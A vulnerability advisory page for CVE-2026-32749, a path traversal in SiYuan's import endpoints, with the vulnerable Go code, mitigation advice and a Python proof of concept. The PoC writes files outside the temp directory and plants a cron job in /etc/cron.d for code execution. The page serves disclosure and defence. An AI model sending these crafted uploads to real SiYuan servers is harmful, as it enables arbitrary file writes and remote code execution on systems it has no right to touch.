CVE-2026-32749 is a high-severity (CVSS 7.6) Path Traversal vulnerability in github.com/siyuan-note/siyuan/kernel. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.
SiYuan importSY/importZipMd: Path Traversal via multipart filename enables arbitrary file write
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32749.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/siyuan-note/siyuan/kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.
Details
File: kernel/api/import.go - functions importSY and importZipMd
file := files[0]
writePath := filepath.Join(util.TempDir, "import", file.Filename)
writer, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)
importZipMd has a second traversal in unzipPath construction:
filenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))
unzipPath := filepath.Join(util.TempDir, "import", filenameMain)
gulu.Zip.Unzip(writePath, unzipPath)
filepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.
PoC
Environment:
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
import requests, zipfile, io
HOST = "http://localhost:6806"
TOKEN = "YOUR_ADMIN_TOKEN"
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
z.writestr("TestNB/20240101000000-abcdefg.sy",
'{"ID":"20240101000000-abcdefg","Spec":"1","Type":"NodeDocument","Children":[]}')
z.writestr("TestNB/.siyuan/sort.json", "{}")
buf.seek(0)
r = requests.post(f"{HOST}/api/import/importSY",
headers={"Authorization": f"Token {TOKEN}"},
files={"file": ("../../data/TRAVERSAL_PROOF.zip", buf.read(), "application/zip")},
data={"notebook": "YOUR_NOTEBOOK_ID", "toPath": "/"})
print(r.text)
RCE via cron (root container):
cron = b"* * * * * root touch /tmp/RCE_CONFIRMED\n"
r = requests.post(f"{HOST}/api/import/importSY",
headers={"Authorization": f"Token {TOKEN}"},
files={"file": ("../../../../../etc/cron.d/siyuan_poc", cron, "application/zip")},
data={"notebook": "NOTEBOOK_ID", "toPath": "/"})
Confirmed response on v3.6.0: {"code":0,"msg":"","data":null}
Impact
An admin can write arbitrary content to any path writable by the SiYuan process:
- RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys
- Data destruction by overwriting workspace or application files
- In Docker containers running as root (common default), this grants full container compromise
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/siyuan-note/siyuan/kernel | all versions | No fix |
Affected Products
siyuanb3logDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
The records we use list no patched version of github.com/siyuan-note/siyuan/kernel for CVE-2026-32749. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.
Mitigate without a patch
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2026-32749 in your dependencies?
Find it across Go, including transitive dependencies.